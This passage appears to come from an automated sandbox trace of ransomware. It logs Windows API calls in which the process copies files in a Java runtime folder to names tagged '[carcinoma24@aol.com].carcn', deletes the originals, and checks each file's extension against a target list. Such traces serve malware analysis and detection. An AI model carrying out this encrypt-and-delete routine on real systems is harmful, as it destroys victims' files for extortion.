lpNewFilePointer=0x0) returned 1 [0304.936] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0304.936] GetLastError () returned 0x0 [0304.936] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0304.964] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0304.965] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.965] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0304.965] SetEndOfFile (hFile=0x364) returned 1 [0304.965] CloseHandle (hObject=0x364) returned 1 [0304.965] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.965] SetEndOfFile (hFile=0x394) returned 1 [0304.967] CloseHandle (hObject=0x394) returned 1 [0304.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.967] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0304.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.967] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.967] lstrlenW (lpString=".doc") returned 4 [0304.967] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.967] lstrlenW (lpString=".docx") returned 5 [0304.967] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0304.967] lstrlenW (lpString=".pdf") returned 4 [0304.967] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.967] lstrlenW (lpString=".xls") returned 4 [0304.967] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.967] lstrlenW (lpString=".xlsx") returned 5 [0304.967] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0304.968] lstrlenW (lpString=".ppt") returned 4 [0304.968] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.968] lstrlenW (lpString=".zip") returned 4 [0304.968] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.968] lstrlenW (lpString=".rar") returned 4 [0304.968] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.968] lstrlenW (lpString=".bz2") returned 4 [0304.968] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.968] lstrlenW (lpString=".7z") returned 3 [0304.968] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.968] lstrlenW (lpString=".dbf") returned 4 [0304.968] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.968] lstrlenW (lpString=".1cd") returned 4 [0304.968] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.968] lstrlenW (lpString=".jpg") returned 4 [0304.968] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.968] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.968] lstrlenW (lpString=".doc") returned 4 [0304.969] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.969] lstrlenW (lpString=".docx") returned 5 [0304.969] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0304.969] lstrlenW (lpString=".pdf") returned 4 [0304.969] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.969] lstrlenW (lpString=".xls") returned 4 [0304.969] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.969] lstrlenW (lpString=".xlsx") returned 5 [0304.969] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0304.969] lstrlenW (lpString=".ppt") returned 4 [0304.969] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.969] lstrlenW (lpString=".zip") returned 4 [0304.969] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.969] lstrlenW (lpString=".rar") returned 4 [0304.969] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.969] lstrlenW (lpString=".bz2") returned 4 [0304.969] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.969] lstrlenW (lpString=".7z") returned 3 [0304.969] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.969] lstrlenW (lpString=".dbf") returned 4 [0304.969] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.969] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.970] lstrlenW (lpString=".1cd") returned 4 [0304.970] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.970] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0304.970] lstrlenW (lpString=".jpg") returned 4 [0304.970] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.970] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0304.970] lstrlenW (lpString="splashscreen.dll") returned 16 [0304.970] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.971] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=204864) returned 1 [0304.971] CloseHandle (hObject=0x394) returned 1 [0304.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0304.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0304.971] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.971] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.971] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0304.972] GetLastError () returned 0x0 [0304.972] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x32040, lpOverlapped=0x0) returned 1 [0305.003] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x32050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x32050, lpOverlapped=0x0) returned 1 [0305.007] ReadFile (in: hFile=0x394, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.007] WriteFile (in: hFile=0x364, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf4, lpOverlapped=0x0) returned 1 [0305.008] SetEndOfFile (hFile=0x364) returned 1 [0305.008] CloseHandle (hObject=0x364) returned 1 [0305.008] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.008] SetEndOfFile (hFile=0x394) returned 1 [0305.386] CloseHandle (hObject=0x394) returned 1 [0305.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.582] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 1 [0305.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.583] lstrlenW (lpString=".doc") returned 4 [0305.583] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.583] lstrlenW (lpString=".docx") returned 5 [0305.583] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0305.583] lstrlenW (lpString=".pdf") returned 4 [0305.583] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.583] lstrlenW (lpString=".xls") returned 4 [0305.583] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.583] lstrlenW (lpString=".xlsx") returned 5 [0305.583] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0305.583] lstrlenW (lpString=".ppt") returned 4 [0305.583] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.583] lstrlenW (lpString=".zip") returned 4 [0305.583] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.583] lstrlenW (lpString=".rar") returned 4 [0305.583] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.583] lstrlenW (lpString=".bz2") returned 4 [0305.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.583] lstrlenW (lpString=".7z") returned 3 [0305.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.583] lstrlenW (lpString=".dbf") returned 4 [0305.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.583] lstrlenW (lpString=".1cd") returned 4 [0305.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.584] lstrlenW (lpString=".jpg") returned 4 [0305.584] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.584] lstrlenW (lpString=".doc") returned 4 [0305.584] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString=".docx") returned 5 [0305.584] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0305.584] lstrlenW (lpString=".pdf") returned 4 [0305.584] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString=".xls") returned 4 [0305.584] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString=".xlsx") returned 5 [0305.584] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0305.584] lstrlenW (lpString=".ppt") returned 4 [0305.584] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.584] lstrlenW (lpString=".zip") returned 4 [0305.584] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString=".rar") returned 4 [0305.584] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.584] lstrlenW (lpString=".bz2") returned 4 [0305.584] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.584] lstrlenW (lpString=".7z") returned 3 [0305.584] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.585] lstrlenW (lpString=".dbf") returned 4 [0305.585] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.585] lstrlenW (lpString=".1cd") returned 4 [0305.585] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll") returned 55 [0305.585] lstrlenW (lpString=".jpg") returned 4 [0305.585] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.585] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0305.585] lstrlenW (lpString="ssvagent.exe") returned 12 [0305.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.586] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=70208) returned 1 [0305.586] CloseHandle (hObject=0x398) returned 1 [0305.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0305.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.586] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.586] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0305.587] GetLastError () returned 0x0 [0305.587] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x11240, lpOverlapped=0x0) returned 1 [0305.590] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x11250, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x11250, lpOverlapped=0x0) returned 1 [0305.592] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.592] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0305.592] SetEndOfFile (hFile=0x394) returned 1 [0305.592] CloseHandle (hObject=0x394) returned 1 [0305.592] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.593] SetEndOfFile (hFile=0x398) returned 1 [0305.594] CloseHandle (hObject=0x398) returned 1 [0305.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.594] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 1 [0305.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.595] lstrlenW (lpString=".doc") returned 4 [0305.595] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0305.595] lstrlenW (lpString=".docx") returned 5 [0305.595] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0305.595] lstrlenW (lpString=".pdf") returned 4 [0305.595] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0305.595] lstrlenW (lpString=".xls") returned 4 [0305.595] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0305.595] lstrlenW (lpString=".xlsx") returned 5 [0305.595] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0305.595] lstrlenW (lpString=".ppt") returned 4 [0305.595] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0305.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.595] lstrlenW (lpString=".zip") returned 4 [0305.595] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0305.595] lstrlenW (lpString=".rar") returned 4 [0305.595] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0305.595] lstrlenW (lpString=".bz2") returned 4 [0305.595] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0305.595] lstrlenW (lpString=".7z") returned 3 [0305.595] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0305.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.596] lstrlenW (lpString=".dbf") returned 4 [0305.596] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0305.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.596] lstrlenW (lpString=".1cd") returned 4 [0305.596] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0305.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.596] lstrlenW (lpString=".jpg") returned 4 [0305.596] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0305.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.596] lstrlenW (lpString=".doc") returned 4 [0305.596] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0305.596] lstrlenW (lpString=".docx") returned 5 [0305.596] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0305.596] lstrlenW (lpString=".pdf") returned 4 [0305.596] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0305.596] lstrlenW (lpString=".xls") returned 4 [0305.596] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0305.596] lstrlenW (lpString=".xlsx") returned 5 [0305.596] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0305.596] lstrlenW (lpString=".ppt") returned 4 [0305.596] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0305.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.597] lstrlenW (lpString=".zip") returned 4 [0305.597] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0305.597] lstrlenW (lpString=".rar") returned 4 [0305.597] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0305.597] lstrlenW (lpString=".bz2") returned 4 [0305.597] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0305.597] lstrlenW (lpString=".7z") returned 3 [0305.597] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0305.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.597] lstrlenW (lpString=".dbf") returned 4 [0305.597] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0305.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.597] lstrlenW (lpString=".1cd") returned 4 [0305.597] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0305.597] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe") returned 51 [0305.597] lstrlenW (lpString=".jpg") returned 4 [0305.597] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0305.597] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0305.597] lstrlenW (lpString="sunec.dll") returned 9 [0305.598] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.598] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=135744) returned 1 [0305.598] CloseHandle (hObject=0x398) returned 1 [0305.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll")) returned 0x20 [0305.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.599] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0305.599] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.599] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0305.599] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0305.600] GetLastError () returned 0x0 [0305.600] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x21240, lpOverlapped=0x0) returned 1 [0305.635] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x21250, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x21250, lpOverlapped=0x0) returned 1 [0305.638] ReadFile (in: hFile=0x398, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0305.638] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0305.638] SetEndOfFile (hFile=0x394) returned 1 [0305.638] CloseHandle (hObject=0x394) returned 1 [0305.638] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, 